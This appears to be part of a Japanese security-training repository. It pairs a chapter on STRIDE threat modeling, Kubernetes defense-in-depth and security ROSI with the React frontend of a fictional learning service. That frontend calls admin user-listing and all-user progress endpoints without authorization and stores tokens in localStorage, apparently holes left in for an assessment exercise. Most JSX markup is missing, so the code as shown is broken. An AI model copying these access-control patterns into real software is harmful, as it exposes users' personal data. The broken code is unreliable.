61 | 「コンプライアンスはセキュリティとイコールではない」という指摘は、純粋なルールベースアプローチの主なデメリットと、リスクベース思考の必要性を強調しています。セキュリティとアジリティのバランスを取ることは、クラウドネイティブ環境で効果的にリスクベースセキュリティを適用する上での重要な課題です。
62 |
63 | ルールベースセキュリティは、ベースラインや規制遵守に必要不可欠ですが、それだけでは不十分です。リスクベースセキュリティは、実際の脅威に対処するために必要な深さを提供します。動的なクラウドネイティブ環境では、純粋に静的なルールベースアプローチでは新たな脅威を見逃す可能性があります。したがって、最も効果的な戦略は、両者の融合です。ルールベースのアプローチを自動化されたベースラインの強制とコンプライアンスに使用し、リスクベースの手法(脅威モデリングなど)を適用して、ルールではカバーできない固有の、文脈に応じた脅威を特定し、軽減します。このアプローチは、組織が自動化されたポリシー強制ツールと、高度な脅威分析を実行できる熟練したセキュリティ専門家の両方に投資する必要があることを意味します。また、セキュリティ体制管理は、ルールと進化するリスクプロファイルの両方に対する継続的な評価を含むべきであることも示唆しています。
64 |
65 | ### 1.4. ルールベース vs リスクベースセキュリティ
66 |
67 | | 基準 | ルールベースセキュリティ | リスクベースセキュリティ |
68 | | :--- | :--- | :--- |
69 | | **定義** | 事前定義された標準、ポリシー、規制への準拠に焦点を当てる。 | 潜在的な脅威、脆弱性、その影響と可能性に基づいて評価し軽減する。 |
70 | | **主な目標** | コンプライアンスの達成、ベースラインセキュリティの確立。 | 組織のリスクを削減し、ビジネス目標と整合させる。 |
71 | | **推進要因** | 規制要件、業界標準、内部ポリシー。 | ビジネス目標、潜在的な損害、脅威インテリジェンス。 |
72 | | **焦点** | チェックリスト、コントロール、静的構成。 | 脅威、脆弱性、影響、可能性。 |
73 | | **アプローチ** | 静的、反応的、監査とスキャン。 | プロアクティブ、適応的、優先順位付け。 |
74 | | **主要な活動** | コンプライアンス監査、Policy as Code、ベンチマーク適用。 | 脅威モデリング、脆弱性管理、ペネトレーションテスト、インシデント対応計画。 |
75 | | **メリット** | 明確な基準、自動化しやすい、規制遵守を支援。 | 実際の脅威に焦点を当てる、リソースの最適化、ビジネス目標との整合。 |
76 | | **デメリット** | コンプライアンスがセキュリティとイコールではない、新しい脅威を見逃す可能性がある、動的な環境では陳腐化しやすい。 | 専門知識が必要、リソース集約的、リスク評価に主観性が入り込む可能性がある。 |
77 | | **クラウドネイティブでの関連性 (例)** | CIS Kubernetesベンチマーク、OPA Gatekeeperによるポリシー強制。 | マイクロサービス間の脅威モデリング、APIセキュリティ評価。 |
78 |
79 | ## 2. クラウドネイティブプラットフォームのための脅威モデリング
80 |
81 | ### 2.1. 脅威モデリングとは
82 |
83 | 脅威モデリングとは、システムをデプロイする前に、システムに対する既知の脅威とその緩和策を熟慮し、特定し、文書化するプロセスです。脅威のモデル化は、すべてのシステムのデプロイメントの前、その最中、完了後にさまざまな脅威に直面することを認識し、セキュリティ専門家がこれらの脅威を事前に識別して緩和するのに役立ちます。
84 |
85 | - **プロアクティブなセキュリティ:** 開発ライフサイクルの早い段階で問題を発見し(シフトレフト)、修復コストを削減します。
86 | - **包括的なシステムの理解:** データフロー、信頼境界、攻撃対象領域を含む、システムのセキュリティ体制の全体像を提供します。
87 | - **優先順位付け:** 最も重要な脅威にセキュリティの取り組みを集中させるのに役立ちます。
88 | - **設計の改善:** セキュリティを最初から組み込むことで、より安全なシステムアーキテクチャにつながります。
89 |
90 | ### 2.2. STRIDE脅威モデル
91 |
92 | 脅威モデリングにはいくつかの手法がありますが、ここでは「STRIDE」という広く使用されている脅威モデルに焦点を当てます。STRIDEは、脅威を以下の6つのカテゴリに分類するものです。
93 |
94 | - **S**poofing (なりすまし): 攻撃者が他のユーザーやシステムになりすますこと。
95 | - **T**ampering (改ざん): データやシステムの設定を不正に変更すること。
96 | - **R**epudiation (否認): 攻撃者が自身の行動を後から否定すること。
97 | - **I**nformation Disclosure (情報漏洩): 機密情報が不正に公開されること。
98 | - **D**enial of Service (サービス拒否): システムを過負荷にして、正しく機能させなくすること。
99 | - **E**levation of Privilege (権限昇格): 攻撃者が本来持っていない高い権限を獲得すること。
100 |
101 | **Kubernetes環境におけるSTRIDEの活用:**
102 |
103 | Kubernetes環境のアーキテクチャにSTRIDEを適用することで、システム固有の脅威を特定できます。
104 |
105 | 例:
106 |
107 | - **Kubernetes APIサーバー:**
108 | - **なりすまし/権限昇格:** 攻撃者が管理者になりすまして、Kubernetesクラスタを操作しようとする脅威。
109 | - **サービス拒否:** APIサーバーに大量のリクエストを送りつけ、サービスの運用を停止させる脅威。
110 | - **etcd(Kubernetesの設定情報を保存するデータストア):**
111 | - **情報漏洩:** etcdに保存されている機密情報(データベース接続パスワードなど)が不正に漏洩する脅威。
112 | - **改ざん:** etcdの設定が不正に変更され、システムが誤動作する脅威。
113 | - **アプリケーションのマイクロサービス(Frontend, Backend API, Databaseなど):**
114 | - **なりすまし:** あるマイクロサービスが別のサービスになりすまして通信する脅威。
115 | - **改ざん:** サービス間の通信中にデータが不正に変更される脅威。
116 | - **情報漏洩:** データベースから機密情報が不正に取得される脅威。
117 | - **サービス拒否:** 特定のマイクロサービスが過負荷になり、サービス全体が利用できなくなる脅威。
118 |
119 | ### 2.3. 攻撃対象領域とデータフローの脆弱性を特定する手法
120 |
121 | 効果的な脅威モデリングには、システムのアーキテクチャと相互作用の深い理解が必要です。以下のような手法を用いて、対象システムの潜在的な弱点を特定することができます。
122 |
123 | - **データフロー図 (DFD):** 対象システムのコンポーネント(Frontend, Backend API, Database, Ingress Controllerなど)間でデータがどのように移動するかを視覚化し、信頼境界と外部エンティティを特定します。これにより、データの流れの中でセキュリティ対策が必要なポイントを洗い出せます。
124 | - **攻撃対象領域の列挙:** 攻撃者が対象システムと相互作用できるすべてのポイントを特定します。Kubernetesの場合、これには以下が含まれます。
125 | - **Kubernetes APIサーバー:** 公開されたエンドポイント、認証/認可メカニズム。
126 | - **コンテナイメージ:** アプリケーションのコンテナイメージに含まれるベースイメージ、アプリケーションコード、サードパーティライブラリの脆弱性。
127 | - **ネットワークポリシー:** Pod間の通信において、意図しないネットワークアクセスにつながる誤設定。
128 | - **RBAC構成:** Kubernetesクラスタ内で、過剰な特権を持つロールやサービスアカウント。
129 | - **シークレット管理:** データベースパスワードやAPIキーなどの機密データが安全に管理されていないこと。
130 | - **外部統合:** CI/CDパイプライン、監視システム、クラウドプロバイダーAPIなど、外部システムとの連携ポイント。
131 | - **信頼境界分析:** システム内で信頼レベルが変化する場所(例:外部ユーザーとIngress Controller間、Frontend PodとBackend API Pod間、異なる名前空間間)を特定します。
132 |
133 | 脅威モデリングは一度限りの活動ではなく、継続的なプロセスとしてDevSecOpsに統合されるべきです。システムは常に変化しているため、一度作成された脅威モデルはすぐに陳腐化します。したがって、脅威モデリングは静的なドキュメントとしてではなく、開発プロセスに組み込まれた継続的な活動であるべきです。
134 | この継続的な活動を実現するために、脅威モデリングプロセスの一部を自動化すること(例:一般的な誤設定をスキャンするツールの使用、またはインフラの変更に基づくDFDの自動更新)は有効な手段です。また、システムが進化するにつれてモデルを定期的に見直すことも重要です。このアプローチは、セキュリティチームが開発チームと密接に連携し、脅威モデリングのプラクティスを日常のワークフローに組み込むことを可能にします。クラウドネイティブのアジリティに対応するには、Threat Modeling as Codeへと移行し、CI/CDパイプラインを活用して、脅威の発見と検証を効率的に行うツールも重要になります。
135 |
136 | ## 3. 多層防御(Defense-in-Depth)の実装
137 |
138 | 多層防御は、システムを保護するために複数のセキュリティ制御層を展開する基本的なセキュリティ戦略です。この考え方は、ある層が失敗しても、別の層が保護を提供し、攻撃者が費やす労力を大幅に増加させるというものです。Kubernetesのような複雑で分散された世界では、このアプローチは特に有益です。対象システムに多層防御の考え方を適用し、各層でどのような対策を講じるべきかを検討する必要があります。
139 |
140 | 「スイスチーズモデル」は多層防御の有効性を説明するリスク管理モデルです。各チーズの薄切りには穴(脆弱性)がありますが、複数の薄切りを重ねることで、単一の視線(攻撃経路)がすべての穴を通過する可能性が低くなります。クラウドネイティブでは、これは基盤となるインフラストラクチャからアプリケーションコード自体に至るまで、すべてのコンポーネントと相互作用を保護することを意味します。
141 |
142 | ### 3.2. Kubernetes内のセキュリティ層の図示
143 |
144 | Kubernetesは、本質的に多層的なセキュリティアプローチをサポートしており、さまざまなレベルで制御が可能です。以下は、階層による整理の一例です。
145 |
146 | - **クラウドプロバイダー/インフラ層:**
147 | - **制御:** ネットワークセグメンテーション(VPC、サブネット)、クラウドリソースのIAM、ワーカーノードのホスト強化、基盤ストレージの暗号化。
148 | - **検討ポイント:** 対象システムが稼働するクラウド環境におけるVPC設定、IAMロールの最小権限化、ワーカーノードのOS強化、永続ボリュームの暗号化など。
149 | - **関連性:** 最も基本的な層です。ここが侵害されると、その上のすべての層が危険にさらされます。
150 |
151 | - **Kubernetesコントロールプレーン層:**
152 | - **コンポーネント:** APIサーバー、etcd、コントローラーマネージャー、スケジューラー。
153 | - **制御:** APIサーバーの強力な認証/認可(RBAC)、etcdの暗号化とアクセス制御、コントロールプレーンコンポーネントの安全な構成(例:CIS Kubernetesベンチマーク)。
154 | - **検討ポイント:** KubernetesクラスタのAPIサーバーへのアクセス制御(RBACの適切な設定)、etcdデータの暗号化、コントロールプレーンコンポーネントのセキュリティ設定強化。
155 | - **関連性:** クラスタの司令塔です。ここを保護することは最重要です。
156 |
157 | - **ネットワーク層:**
158 | - **コンポーネント:** Pod間通信、Ingress/Egress。
159 | - **制御:** Pod/名前空間間のトラフィックを制限するKubernetesネットワークポリシー、mTLSときめ細かいトラフィック制御のためのサービスメッシュ(例:Istio)、ネットワークセグメンテーション。
160 | - **検討ポイント:** アプリケーションのPod間の通信を制限するネットワークポリシーの導入、サービスメッシュによる相互認証通信の検討。
161 | - **関連性:** 横方向の移動を制限し、最小特権の通信を強制します(ゼロトラスト)。
162 |
163 | - **ホスト/ノード層:**
164 | - **コンポーネント:** Kubelet、コンテナランタイム(例:containerd)を実行するワーカーノード。
165 | - **制御:** OSの強化、カーネルセキュリティモジュール(例:AppArmor、SELinux)、定期的なパッチ適用、ホストレベルのファイアウォール。
166 | - **検討ポイント:** ワーカーノードのOS強化(最小OSの利用)、セキュリティパッチの適用、ホストレベルのアクセス制限。
167 | - **関連性:** コンテナを実行する基盤となる計算リソースを保護します。
168 |
169 | - **コンテナランタイム層:**
170 | - **コンポーネント:** コンテナイメージ、ランタイム環境。
171 | - **制御:** 脆弱性や誤設定に対するコンテナイメージスキャン、イミュータブルインフラストラクチャの原則、ランタイムセキュリティツール(例:異常な動作を検出するためのFalco)、安全なコンテナ構成(例:特権コンテナなし、読み取り専用ルートファイルシステム)。
172 | - **検討ポイント:** アプリケーションイメージの脆弱性スキャン、Pod Security Standards (PSS) の適用、ランタイム監視。
173 | - **関連性:** アプリケーションの実行環境を保護します。
174 |
175 | - **アプリケーション層:**
176 | - **コンポーネント:** デプロイされたマイクロサービス。
177 | - **制御:** 安全なコーディングプラクティス、入力検証、APIセキュリティ、シークレット管理、アプリケーションレベルの認証/認可、ログと監視。
178 | - **検討ポイント:** アプリケーションにおける入力検証の強化、API認証・認可の改善、アプリケーションログの適切な収集。
179 | - **関連性:** ビジネスロジックが実行される最後の防衛線です。
180 |
181 | - **IDおよびアクセス管理(IAM)層:**
182 | - **コンポーネント:** ユーザー、サービスアカウント、ロール。
183 | - **制御:** Kubernetes RBAC、外部IDプロバイダーとの統合、最小特権原則、多要素認証。
184 | - **検討ポイント:** KubernetesクラスタにおけるRBACの適切な設定、ServiceAccountの権限最小化。
185 | - **関連性:** クラスタ内で誰が何を実行できるかを制御します。
186 |
187 | - **データ層:**
188 | - **コンポーネント:** 保存中および転送中のデータ。
189 | - **制御:** 保存中のデータの暗号化(例:etcd、永続ボリューム)、転送中のデータの暗号化(例:サービスメッシュによるmTLS)、データ損失防止(DLP)。
190 | - **検討ポイント:** データベースのデータ暗号化、Podとデータベース間の通信暗号化。
191 | - **関連性:** 機密情報を保護します。
192 |
193 | ### 3.3. 各層の多様なセキュリティ制御を統合するための戦略
194 |
195 | 効果的な多層防御は、個々の制御を展開するだけでなく、統合とオーケストレーションを必要とします。
196 |
197 | - **セキュリティの自動化とオーケストレーション:** セキュリティ制御のデプロイと構成を自動化するツール(Security as Code)を使用します。CI/CDパイプラインにセキュリティチェックを組み込むことを検討してください。
198 | - **集中型ポリシー管理:** OPA GatekeeperやKyvernoのようなツールは、複数の層にわたってポリシーを一貫して強制できます(例:すべてのPodがネットワークポリシーを持つこと、または特定のセキュリティコンテキストを持つことを保証する)。Kubernetesクラスタにこれらのポリシーコントローラーを導入し、セキュリティポリシーをコードとして管理することを検討してください。
199 | - **継続的な監視と観測性:** すべての層にわたって堅牢なログ、監視、アラートを実装し、脅威を検出して対応します。既存の監視スタックを活用し、セキュリティ関連のログやメトリクスを収集・分析する仕組みを強化することを検討してください。
200 | - **DevSecOps統合:** ソフトウェア開発ライフサイクル全体にわたってセキュリティプラクティスとツールを組み込み、「シフトレフト」を実現し、設計からデプロイまでセキュリティが考慮されるようにします。
201 |
202 | 多層防御を導く原則として「ゼロトラスト」の考え方があります。これは、「決して信頼せず、常に検証する」という原則です。多層防御を提唱するならば、「決して信頼しない」ということは、以前のチェックに関係なく、すべての層が検証し、制御を強制する必要があることを意味します。これは、Kubernetesの各層(ネットワーク、ホスト、アプリケーション、ID)が、他の層が侵害されているか信頼できない可能性があるという前提で動作すべきであることを示唆しています。例えば、ホストが安全であっても、ネットワークポリシーはPod間の通信を制限すべきです。RBACが強力であっても、アプリケーションレベルの認証は依然として必要です。これは、マイクロセグメンテーション、きめ細かいアクセス制御、そしてKubernetesスタック全体にわたる継続的な認証/認可の必要性を推進し、システムを侵害に対して本質的により回復力のあるものにします。
203 |
204 | 一方で、複数のセキュリティ層からデータを収集するだけでなく、それらを相関させることには課題があります。ホストレベルの侵入検知システムからのアラートが、アプリケーションレベルの脆弱性に関連している可能性や、ネットワークポリシー違反がRBACの悪用の前兆である可能性もあります。統一された視点がないと、セキュリティチームはアラート疲労に陥り、重要な攻撃チェーンを見逃すリスクがあります。この状況は、クラウドネイティブ環境に特化した高度なセキュリティ情報イベント管理(SIEM)またはセキュリティオーケストレーション、自動化、応答(SOAR)ソリューションの必要性を示しています。また、効果的な相関とインシデント対応を促進するために、すべてのKubernetesコンポーネントとアプリケーションにわたる標準化されたログ形式とメタデータの重要性も浮き彫りにします。
205 |
206 | ## 4. セキュリティ対策の費用対効果
207 |
208 | セキュリティは技術的な課題だけでなく、ビジネス上の課題でもあります。セキュリティへの投資は、その価値と組織目標との整合性を明確に理解した上で行う必要があります。
209 |
210 | ### 4.1. セキュリティ投資と組織目標およびリスク許容度のバランス
211 |
212 | すべての組織には、その目標を達成するために許容できるリスクのレベルがあります。セキュリティ投資は、このリスク許容度と全体的なビジネス戦略に合致している必要があります。リスクの低い資産に過剰なセキュリティ投資を行うことは、リスクの高い資産への投資不足と同様に有害となる可能性があります。セキュリティとアジリティのバランスを取る必要性は、セキュリティ対策がビジネス運営やイノベーションを不当に妨げてはならないことを示唆しています。サービス停止や開発遅延を避けるというビジネス上の制約がある場合、このバランスを考慮した対策立案が求められます。
213 |
214 | ### 4.2. セキュリティ価値の定量化とリソース配分の最適化
215 |
216 | セキュリティの価値を定量化することは非常に難しいですが、いくつかの方法が役立ちます。
217 |
218 | - **不作為/侵害のコスト:** セキュリティ侵害の潜在的な財務的、評判的、運用上のコストを推定します。これは、組織がそのような事態を防ぐためにどれだけ支出するべきかという基準を提供します。システムが扱う機密情報が漏洩した場合の潜在的な影響を考慮し、対策の必要性を裏付けることができます。
219 | - **リスク削減:** セキュリティ制御による特定の脅威の発生可能性または影響の削減を定量化します。これはリスクベースアプローチに直接結びつきます。
220 | - **コンプライアンスコスト vs. 不遵守ペナルティ:** ルールベースセキュリティの場合、制御の実装コストと不遵守によるペナルティを比較します。ビジネス上の要件を満たせない場合の機会損失も考慮に入れるべきです。
221 | - **効率性の向上:** セキュリティの自動化やシフトレフトの手法は、手作業と手戻りを減らし、運用効率の向上につながる可能性があります。
222 |
223 | ### 4.3. クラウドネイティブにおけるセキュリティ投資収益率(ROSI)
224 |
225 | ROSIは、セキュリティ投資の財務的利益を評価するために使用される指標で、一般的に以下の式で表されます。
226 |
227 | ROSI = ((セキュリティ導入前の年間損失期待値 (ALE) - セキュリティ導入後のALE) - セキュリティ投資コスト) / セキュリティ投資コスト
228 |
229 | - **ALE (年間損失期待値):** 単一損失期待値 (SLE) × 年間発生率 (ARO) で計算されます。
230 | - **SLE:** 単一のセキュリティインシデントから予想される金銭的損失。
231 | - **ARO:** インシデントが1年間に発生する推定頻度。
232 | - **考慮事項:**
233 | - **動的なALE:** クラウドネイティブ環境におけるALEは、リソースの一時的な性質と急速な変化のため、非常に動的である可能性があります。
234 | - **無形資産の利益:** ROSIは、ブランドの評判、顧客の信頼、競争優位性といった無形資産の利益を捉えるのが困難です。ビジネスにおける信頼獲得は、ROSIでは測りにくい重要な要素です。
235 | - **自動化の役割:** 自動化されたセキュリティ制御は、時間の経過とともに「セキュリティ投資コスト」を大幅に削減し、ROSIを向上させることができます。
236 |
237 | セキュリティは単なるコストセンターではなく、アジリティとイノベーションを可能にする要素として捉えるべきです。セキュリティとアジリティのバランスが言及されています。セキュリティが単なるコストまたは障害物と見なされる場合、対策を迂回されたり、優先順位が下げられたりする可能性があります。しかし、セキュリティを開発プロセス(DevSecOps)に組み込み、制御を自動化する(Security as Code)ことで、セキュリティは相乗効果を生み出す力となります。これにより、より迅速で安全なデプロイが可能になり、セキュリティ上の欠陥による技術的負債が減少し、信頼が構築され、市場への対応力が向上します。セキュリティチームは、ROSIに基づく評価だけでなく、市場投入時間の短縮、運用オーバーヘッドの削減などの観点からもその価値を明確にする必要があります。
238 |
239 | ---
240 |
241 | ## 次のステップ
242 |
243 | - [演習3 セキュリティアセスメント](./training.md)
244 | - [4章 セキュリティ対策の導入](../04_hardening/README.md)
245 |
--------------------------------------------------------------------------------
/app/frontend/src/App.tsx:
--------------------------------------------------------------------------------
1 | import React, { useState, useEffect } from "react";
2 | import axios from "axios";
3 | import { AppBar, Toolbar, Typography, Container, Box, Button, TextField, Card, CardContent, CardActions, Paper, IconButton, Avatar, Divider, Snackbar, Alert, Pagination } from "@mui/material";
4 | import SchoolIcon from '@mui/icons-material/School';
5 | import PersonIcon from '@mui/icons-material/Person';
6 |
7 | // APIのベースURL
8 | const API_URL = process.env.REACT_APP_API_URL ? process.env.REACT_APP_API_URL : "/api";
9 | console.log("API_URL:", API_URL);
10 |
11 | /**
12 | * プロフィールページコンポーネント
13 | * @param {string} username - 現在のユーザー名
14 | * @param {function} onBack - 戻るボタンがクリックされたときのコールバック
15 | */
16 | function ProfilePage({ username, onBack }: { username: string; onBack: () => void }) {
17 | const [profile, setProfile] = useState(null);
18 |
19 | useEffect(() => {
20 | const fetchProfile = async () => {
21 | try {
22 | // 全ユーザーリストから現在のユーザーのプロフィールを検索
23 | const res = await axios.get(`${API_URL}/admin/users`);
24 | const user = res.data.find((u: any) => u.username === username);
25 | setProfile(user || null);
26 | } catch (error) {
27 | console.error("プロフィール取得失敗:", error);
28 | }
29 | };
30 | fetchProfile();
31 | }, [username]);
32 |
33 | return (
34 |
35 | }>戻る
36 | プロフィール
37 | {profile ? (
38 |
39 |
40 |
41 | {profile.username[0]}
42 |
43 | {profile.username}
44 | 氏名: {profile.full_name}
45 |
46 |
47 |
48 |
49 | ) : (
50 | 読み込み中...
51 | )}
52 |
53 | );
54 | }
55 |
56 | /**
57 | * 進捗カード表示コンポーネント
58 | * @param {any} progress - ユーザーごとの進捗または全ユーザーの進捗リスト
59 | * @param {any[]} courses - コース情報のリスト
60 | * @param {any[]} users - ユーザー情報のリスト
61 | */
62 | function ProgressCards({ progress, courses, users }: { progress: any; courses: any[]; users: any[] }) {
63 | const [currentPage, setCurrentPage] = useState(1);
64 | const itemsPerPage = 15;
65 |
66 | // 進捗データが変更された時にページをリセット
67 | useEffect(() => {
68 | setCurrentPage(1);
69 | }, [progress]);
70 |
71 | // 進捗データがない場合の表示
72 | if (!progress || (Array.isArray(progress) && (progress.length === 0 || progress.every((p: any) => Object.keys(p).length === 0)))) {
73 | return 受講中のコースはありません。;
74 | }
75 | // コース情報がまだロードされていない場合の表示
76 | if (!courses || courses.length === 0) {
77 | return コース情報取得中...;
78 | }
79 |
80 | // 進捗データを常に配列として扱う
81 | const progressList = Array.isArray(progress) ? progress : [progress];
82 |
83 | // ページネーション計算
84 | const totalPages = Math.ceil(progressList.length / itemsPerPage);
85 | const startIndex = (currentPage - 1) * itemsPerPage;
86 | const endIndex = startIndex + itemsPerPage;
87 | const currentProgress = progressList.slice(startIndex, endIndex);
88 |
89 | const handlePageChange = (event: React.ChangeEvent, value: number) => {
90 | setCurrentPage(value);
91 | };
92 |
93 | return (
94 |
95 |
96 | {currentProgress.map((p: any, idx: number) => {
97 | // course_idとidの型を揃えて比較してコース情報を取得
98 | const course = courses.find(c => String(c.id) === String(p.course_id));
99 | // user_idベースでユーザー検索(idフィールドが存在しない場合の代替手段)
100 | // まずIDフィールドで検索を試行
101 | let user = users?.find(u =>
102 | String(u.id || u.user_id || u.ID || u.Id) === String(p.user_id)
103 | );
104 |
105 | // IDフィールドでの検索に失敗した場合、user_idの位置でユーザーリストから推測
106 | if (!user && users && users.length > 0 && typeof p.user_id === 'number' && p.user_id > 0 && p.user_id <= users.length) {
107 | user = users[p.user_id - 1]; // user_id=1なら配列のindex=0
108 | }
109 |
110 | return (
111 |
120 |
130 | {/* 上部セクション:ユーザー名とタイトル */}
131 |
132 |
133 | {user ? `受講者: ${user.username}` : `受講者: 不明`}
134 |
135 |
146 | {course ? course.title : `コース名不明 (course_id: ${p.course_id})`}
147 |
148 |
149 |
150 | {/* 下部セクション:プログレスバーと更新情報 */}
151 |
152 |
153 |
154 |
155 |
156 | {typeof p.percent === 'undefined' ? '進捗データ不明' : p.percent === 0 ? '未着手' : p.percent === 100 ? '完了' : `${p.percent}% 完了`}
157 |
158 |
159 | 更新: {
160 | p.updated_at ? p.updated_at.replace('T', ' ').slice(0, 16) :
161 | p.updatedAt ? p.updatedAt.replace('T', ' ').slice(0, 16) :
162 | p.update_time ? p.update_time.replace('T', ' ').slice(0, 16) :
163 | '-'
164 | }
165 |
166 |
167 |
168 |
169 | );
170 | })}
171 |
172 | {totalPages > 1 && (
173 |
174 |
181 |
182 | )}
183 |
184 | {progressList.length} 件中 {startIndex + 1}-{Math.min(endIndex, progressList.length)} 件を表示
185 |
186 |
187 | );
188 | }
189 |
190 | /**
191 | * コースカード表示コンポーネント
192 | * @param {any[]} courses - コース情報のリスト
193 | * @param {function} onJoin - コース参加ボタンがクリックされたときのコールバック
194 | * @param {string} username - 現在のユーザー名 (参加ボタンの有効/無効制御用)
195 | */
196 | function CourseCards({ courses, onJoin, username }: { courses: any[]; onJoin: (courseId: number) => void; username: string }) {
197 | const [currentPage, setCurrentPage] = useState(1);
198 | const itemsPerPage = 15;
199 |
200 | if (!courses || courses.length === 0) {
201 | return コースデータなし;
202 | }
203 |
204 | // ページネーション計算
205 | const totalPages = Math.ceil(courses.length / itemsPerPage);
206 | const startIndex = (currentPage - 1) * itemsPerPage;
207 | const endIndex = startIndex + itemsPerPage;
208 | const currentCourses = courses.slice(startIndex, endIndex);
209 |
210 | const handlePageChange = (event: React.ChangeEvent, value: number) => {
211 | setCurrentPage(value);
212 | };
213 |
214 | return (
215 |
216 |
217 | {currentCourses.map((course: any) => (
218 |
227 |
237 | {/* 上部セクション:タイトル */}
238 |
239 |
250 | {course.title}
251 |
252 |
253 |
254 | {/* 下部セクション:概要 */}
255 |
256 |
266 | {course.description || ''}
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 | ))}
275 |
276 | {totalPages > 1 && (
277 |
278 |
285 |
286 | )}
287 |
288 | {courses.length} 件中 {startIndex + 1}-{Math.min(endIndex, courses.length)} 件を表示
289 |
290 |
291 | );
292 | }
293 |
294 | /**
295 | * メインアプリケーションコンポーネント
296 | */
297 | function App() {
298 | const [username, setUsername] = useState("");
299 | const [password, setPassword] = useState("");
300 | const [token, setToken] = useState("");
301 | const [courses, setCourses] = useState([]);
302 | const [progress, setProgress] = useState([]); // 進捗は配列で初期化
303 | const [showProfile, setShowProfile] = useState(false);
304 | const [snackbar, setSnackbar] = useState<{open: boolean, message: string, severity: "success"|"error"|"info"|"warning"}>({open: false, message: "", severity: "info"});
305 | const [isLoggedIn, setIsLoggedIn] = useState(false);
306 | const [users, setUsers] = useState([]); // 全ユーザー情報
307 |
308 | // 初回マウント時にlocalStorageから認証情報を復元
309 | useEffect(() => {
310 | const savedToken = localStorage.getItem("token");
311 | const savedUsername = localStorage.getItem("username");
312 | if (savedToken && savedUsername) {
313 | setToken(savedToken);
314 | setUsername(savedUsername);
315 | setIsLoggedIn(true);
316 | }
317 | }, []);
318 |
319 | /**
320 | * 全ユーザー情報を取得する関数
321 | */
322 | const fetchAllUsers = async () => {
323 | try {
324 | const usersRes = await axios.get(`${API_URL}/admin/users`);
325 | setUsers(usersRes.data);
326 | } catch (error) {
327 | console.error("ユーザー一覧取得失敗:", error);
328 | setSnackbar({open: true, message: "ユーザー一覧取得失敗", severity: "error"});
329 | }
330 | };
331 |
332 | /**
333 | * コース一覧を取得する関数
334 | */
335 | const fetchCourses = async () => {
336 | try {
337 | const res = await axios.get(`${API_URL}/courses`);
338 | setCourses(res.data);
339 | } catch (error) {
340 | console.error("コース取得失敗:", error);
341 | setSnackbar({open: true, message: "コース取得失敗", severity: "error"});
342 | }
343 | };
344 |
345 | /**
346 | * 現在のユーザーの進捗を取得する関数
347 | */
348 | const fetchProgress = async () => {
349 | // トークンとユーザー名がなければ処理しない
350 | if (!token || !username) return;
351 | try {
352 | const res = await axios.get(`${API_URL}/progress/${username}`);
353 | setProgress(res.data);
354 | // 自分の進捗表示時もユーザー情報を取得しておく
355 | await fetchAllUsers();
356 | } catch (error) {
357 | console.error("ユーザー進捗取得失敗:", error);
358 | setSnackbar({open: true, message: "進捗取得失敗", severity: "error"});
359 | }
360 | };
361 |
362 | /**
363 | * 全ユーザーの進捗を取得する関数
364 | */
365 | const fetchAllProgress = async () => {
366 | // トークンがなければ処理しない
367 | if (!token) return;
368 | try {
369 | const res = await axios.get(`${API_URL}/progress`);
370 | setProgress(res.data);
371 | // 全ユーザー進捗表示時は、最新のユーザーリストも取得しておく
372 | await fetchAllUsers();
373 | } catch (error) {
374 | console.error("全ユーザー進捗取得失敗:", error);
375 | setSnackbar({open: true, message: "全ユーザー進捗取得失敗", severity: "error"});
376 | }
377 | };
378 |
379 | /**
380 | * ログイン処理
381 | */
382 | const login = async () => {
383 | try {
384 | const res = await axios.post(`${API_URL}/login`, { username, password });
385 | setToken(res.data.access_token);
386 | setSnackbar({open: true, message: "ログイン成功", severity: "success"});
387 | setIsLoggedIn(true);
388 | // localStorageに保存
389 | localStorage.setItem("token", res.data.access_token);
390 | localStorage.setItem("username", username);
391 | // ここではデータフェッチは行わず、useEffectに任せる
392 | } catch (error) {
393 | console.error("ログイン失敗:", error);
394 | setSnackbar({open: true, message: "ログイン失敗", severity: "error"});
395 | }
396 | };
397 |
398 | /**
399 | * コース参加処理
400 | * @param {number} courseId - 参加するコースのID
401 | */
402 | const joinCourse = async (courseId: number) => {
403 | if (!username) {
404 | setSnackbar({open: true, message: "ユーザー名を入力してください", severity: "warning"});
405 | return;
406 | }
407 | try {
408 | await axios.post(`${API_URL}/courses/${courseId}/join`, { username });
409 | setSnackbar({open: true, message: "コース参加申請しました", severity: "success"});
410 | // 参加後、進捗を再フェッチして更新
411 | await fetchProgress();
412 | } catch (error) {
413 | console.error("参加申請失敗:", error);
414 | setSnackbar({open: true, message: "参加申請失敗", severity: "error"});
415 | }
416 | };
417 |
418 | // ログイン成功時に初期データをフェッチするためのuseEffect
419 | useEffect(() => {
420 | if (isLoggedIn && token) {
421 | const loadInitialData = async () => {
422 | // コース、ユーザー、進捗の順にフェッチすることで、依存関係を解決
423 | await fetchCourses();
424 | await fetchAllUsers();
425 | await fetchProgress(); // ログインユーザーの進捗を最初に表示
426 | };
427 | loadInitialData();
428 | }
429 | }, [isLoggedIn, token, username]); // isLoggedIn, token, usernameが変更されたときに実行
430 |
431 | // プロフィールページ表示中はプロフィールコンポーネントをレンダリング
432 | if (showProfile) {
433 | return setShowProfile(false)} />;
434 | }
435 |
436 | // 未ログイン時の表示
437 | if (!isLoggedIn) {
438 | return (
439 |
440 |
441 |
442 |
443 |
444 | 無敗塾 オンライン学習サービス
445 |
446 |
447 |
448 |
449 |
450 | ログイン
451 |
452 | setUsername(e.target.value)} size="small" fullWidth sx={{ borderRadius: 1 }} />
453 | setPassword(e.target.value)} size="small" fullWidth sx={{ borderRadius: 1 }} />
454 |
455 |
456 |
457 |
458 | setSnackbar({...snackbar, open: false})}>
459 | {snackbar.message}
460 |
461 |
462 | );
463 | }
464 |
465 | // ログイン後のメインアプリケーション表示
466 | return (
467 |
468 |
469 |
470 |
471 |
472 | 無敗塾 オンライン学習サービス
473 |
474 |
475 | {isLoggedIn && (
476 |
493 | )}
494 |
495 |
496 |
497 |
498 | コース一覧
499 |
500 |
501 |
502 |
503 | 進捗管理
504 |
505 |
506 |
507 |
508 |
509 |
510 |
511 | setSnackbar({...snackbar, open: false})}>
512 | {snackbar.message}
513 |
514 |
515 | );
516 | }
517 |
518 | export default App;
--------------------------------------------------------------------------------